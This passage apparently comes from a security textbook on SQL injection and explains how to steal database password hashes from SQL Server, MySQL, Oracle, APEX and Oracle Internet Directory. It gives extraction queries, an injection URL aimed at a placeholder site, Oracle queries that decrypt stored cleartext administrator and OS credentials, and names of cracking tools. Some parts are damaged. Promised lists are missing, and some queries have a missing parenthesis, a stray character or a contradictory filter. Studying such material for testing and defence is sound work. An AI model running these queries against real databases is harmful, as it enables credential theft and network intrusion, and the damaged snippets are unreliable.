We briefly talked about
hashing functions earlier in this chapter, when we discussed a
successful attack that recovered the passwords of the application users.
In this section, we'll talk about hashes again, this time regarding the
database users. On all common DBMS technologies, user passwords are
stored using a non-reversible hash (the exact algorithm used varies
depending on the DBMS and version, as you will see shortly) and such
hashes are stored, you guessed it, in a database table. To read the
contents of that table you normally will need to run your queries with
administrative privileges, so if your user does not have such privileges
you should probably return to the privilege escalation section.
If
you manage to capture the password hashes, various tools can attempt to
retrieve the original passwords that generated the hashes by means of a
brute-force attack. This makes the database password hashes one of the
most common targets in any attack: Because users often reuse the same
password for different machines and services, being able to obtain the
passwords of all users is usually enough to ensure a relatively easy and
quick expansion in the target network.
SQL Server
If you are dealing
with a Microsoft SQL server, things vary quite a lot depending on the
version you are dealing with. In all cases, you need administrative
privileges to access the hashes, but differences start to surface when
you actually try to retrieve them and, more importantly, when you try to
crack them to obtain the original passwords.
On SQL Server 2000, hashes are stored in the sysxlogins table of the master database. You can retrieve them easily with the following query:
SELECT name,password FROM master.dbo.sysxlogins
Such hashes are generated using pwdencrypt(),
an undocumented function that generates a salted hash, where the salt
is a function of the current time. For instance, here is the hash of the
sa password on one of the SQL servers that I use in my tests:
0x0100E21F79764287D299F09FD4B7EC97139C7474CA1893815231E9165D257ACEB815111F2A
E98359F40F84F3CF4C
This hash can be split into the following parts:
Each
hash is generated using the user's password and the salt as input for
the SHA1 algorithm.
What is interesting to us
is the fact that on SQL Server 2000 passwords are case-insensitive,
which simplifies the job of cracking them.
To crack the hashes you can use the following tools:
When developing SQL Server
2005, Microsoft took a far more aggressive stance in terms of security,
and implementation of the password hashing clearly shows the paradigm
shift. The sysxlogins table has disappeared, and hashes can be retrieved by querying the sql_logins view with the following query:
SELECT password_hash FROM sys.sql_logins
Here's an example of a hash taken from SQL Server 2005:
0x01004086CEB6A15AB86D1CBDEA98DEB70D610D7FE59EDD2FEC65
The hash is a modification of the old SQL Server 2000 hash:
As you can see,
Microsoft removed the old case-insensitive hash. This means your
brute-force attack will have to try a far larger number of password
candidates to succeed. In terms of tools, NGSSQLCrack and Cain &
Abel are still your best friends for this attack.
Tip
Depending on a number
of factors, when retrieving a password hash the Web application might
not always return the hash in a nice hexadecimal format. It is therefore
recommended that you explicitly cast its value into a hex string using
the function fn_varbintohexstr(). For instance:
http://www.victim.com/products.asp?id=1+union+select+
master.dbo.fn_varbintohexstr(password_hash)+from+
sys.sql_logins+where+name+=+'sa'
MySQL
MySQL stores its password hashes in the mysql.user table. Here is the query to extract them (together with the usernames they belong to):
SELECT user,password FROM mysql.user;
Password hashes are calculated using the PASSWORD()
function, but the exact algorithm depends on the version of MySQL that
is installed. Before 4.1, a simple 16–character hash was used:
mysql> select PASSWORD('password')
+--------------------------------+
| password('password') |
+--------------------------------+
| 5d2e19393cc5ef67 |
+--------------------------------+
1 row in set (0.00 sec)
Starting with MySQL 4.1, the PASSWORD() function was modified to generate a far longer (and far more secure) 41–character hash, based on a double SHA1 hash:
mysql> select PASSWORD('password')
+-----------------------------------------------+
| password('password') |
+-----------------------------------------------+
| *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+-----------------------------------------------+
1 row in set (0.00 sec)
Note the asterisk at the
beginning of the hash. It turns out that all password hashes generated
by MySQL (4.1 or later) start with an asterisk, so if you stumble into a
hexadecimal string that starts with an asterisk and is 41 characters
long, it's likely there is a MySQL installation in the neighborhood.
Oracle
Oracle stores its password hashes for database accounts in the password column of the sys.user$ table. The dba_users
view points to this table, but since Oracle 11g the Data Encryption
Standard (DES) password hashes are no longer visible in the dba_users view. The sys.user$ table contains the password hashes of database users (type#=1) and database roles (type#=0). With
Oracle 11g, Oracle introduced a new way of hashing Oracle passwords
(SHA1 instead of DES) and support for mixed-case characters in
passwords. The old DES hashes represent case-insensitive uppercase
passwords, making them relatively easy to crack. The new hashes in 11g
are stored in the same table but in a different column, called spare4.
By default, Oracle 11g saves the old (DES) and the new (SHA1) password
hashes in the same table, so an attacker has a choice between cracking
old or new passwords.
Queries for extracting password hashes (together with the usernames they belong to) are as follows.
For Oracle DES user passwords:
Select username,password from sys.user$ where type#>0 and
length(password)=16
For Oracle DES role passwords:
Select username,password from sys.user$ where type#=1 and
length(password)=16
For Oracle SHA1 passwords (11g+):
Select username, substr(spare4,3,40) hash, substr(spare4,43,20) salt from
sys.user$ where type#>0 and length(spare4)=62;
Various tools (Checkpwd,
Cain & Abel, John the Ripper, woraauthbf, GSAuditor, and orabf) are
available for cracking Oracle passwords. The fastest tools so far for
Oracle DES passwords are woraauthbf, from László Tóth, and GSAuditor for
SHA1 Oracle hashes. Refer to Figure 1 for examples of Oracle hashes being returned via SQL injection.
Many
other tables in the Oracle database (installed by Oracle itself) also
contain password hashes, encrypted passwords, or sometimes even
clear-text passwords. Often, it is easier to retrieve the (clear-text)
password instead of cracking it. One example where you often can find
the clear-text password of the SYS user is the sysman.mgmt_credentials2
table. During installation Oracle asks whether the installer wants to
use the same password for all DBA accounts. Oracle saves the encrypted
password of user DBSNMP (which is identical to SYS and SYSTEM) in the mgmt_credentials2 table if the answer was “yes.” By accessing this table, it is often possible to get the SYS/SYSTEM password.
Here are some SQL statements that will often return clear-text passwords:
-- get the cleartext password of the user MGMT_VIEW (generated by Oracle
-- during the installation time, looks like a hash but is a password)
select view_username, sysman.decrypt(view_password Password
from sysman.mgmt_view_user_credentials;
-- get the password of the dbsnmp user, databases listener and OS
-- credentials
select sysman.decrypt(t1.credential_value) sysmanuser,
sysman.decrypt(t2.credential_value) Password
from sysman.mgmt_credentials2 t1, sysman.mgmt_credentials2 t2
where t1.credential_guid=t2.credential_guid
and lower(t1.credential_set_column)='username'
and lower(t2.credential_set_column)='password'
-- get the username and password of the Oracle Knowledgebase Metalink
select sysman.decrypt(ARU_USERNAME), sysman.decrypt(ARU_PASSWORD)
from SYSMAN.MGMT_ARU_CREDENTIALS;
Oracle Components
Several Oracle
components and products come with their own user management (e.g.,
Oracle Internet Directory) or they save passwords in various other
tables, in more than 100 different tables in all. The following
subsections discuss some of the types of hashes you might be able to
find within the database with other Oracle products.
APEX
Newer Oracle
database installations often contain Oracle Application Express (APEX).
In 11g, this component (APEX 3.0) is installed by default. This Web
application framework comes with its own (lightweight) user management.
The password hashes (MD5 until Version 2.2, salted MD5 since Version
3.0) of this product are located in the FLOWS_xxyyzz schema in the wwv_flow_fnd_user
table. Different versions of APEX use different schema names, with the
schema name containing the version number of APEX (e.g., 020200 for APEX
2.2):
select user_name,web_password_raw from flows_020000.wwv_flow_fnd_user;
select user_name,web_password_raw from flows_020100.wwv_flow_fnd_user;
select user_name,web_password_raw from flows_020200.wwv_flow_fnd_user;
Since APEX 3.0, the MD5 passwords are salted with the security_group_id and the username, and are returned as follows:
select user_name,web_password2,security_group_id from
flows_030000.wwv_flow_fnd_user;
select user_name,web_password2,security_group_id from
flows_030000.wwv_flow_fnd_user;
Oracle Internet Directory
Oracle
Internet Directory (OID), the Oracle Lightweight Directory Access
Protocol (LDAP) directory, comes with many hashed passwords in various
tables. You can access the password hashes of OID if you have normal
access to all users in the company. For compatibility reasons, OID saves
the same user password with different hashing algorithms (MD4, MD5, and
SHA1).
The following statements return the password hashes of OID users:
select a.attrvalue ssouser, substr(b.attrval,2,instr(b.attrval,'}')-2)
method,
rawtohex(utl_encode.base64_decode(utl_raw.cast_to_raw(substr
(b.attrval,instr(b.attrval,'}')+1)))) hash
from ods.ct_cn a,ods.ds_attrstore b
where a.entryid=b.entryid
and lower(b.attrname) in (
'userpassword','orclprpassword','orclgupassword','orclsslwalletpasswd',
'authpassword','orclpassword')
and substr(b.attrval,2,instr(b.attrval,'}')-2)='MD4'
order by method,ssouser;
select a.attrvalue ssouser, substr(b.attrval,2,instr(b.attrval,'}')-2)
method,
rawtohex(utl_encode.base64_decode(utl_raw.cast_to_raw(substr
(b.attrval,instr(b.attrval,'}')+1)))) hash
from ods.ct_cn a,ods.ds_attrstore b
where a.entryid=b.entryid
and lower(b.attrname) in (
'userpassword','orclprpassword','orclgupassword','orclsslwalletpasswd',
'authpassword','orclpassword')
and substr(b.attrval,2,instr(b.attrval,'}')-2)='MD5'
order by method,ssouser;
select a.attrvalue ssouser, substr(b.attrval,2,instr(b.attrval,'}')-2)
method,
3rawtohex(utl_encode.base64_decode(utl_raw.cast_to_raw(substr
(b.attrval,instr(b.attrval,'}')+1)))) hash
from ods.ct_cn a,ods.ds_attrstore b
where a.entryid=b.entryid
and lower(b.attrname) in (
'userpassword','orclprpassword','orclgupassword','orclsslwalletpasswd',
'authpassword','orclpassword')
and substr(b.attrval,2,instr(b.attrval,'}')-2)='SHA'
order by method,ssouser;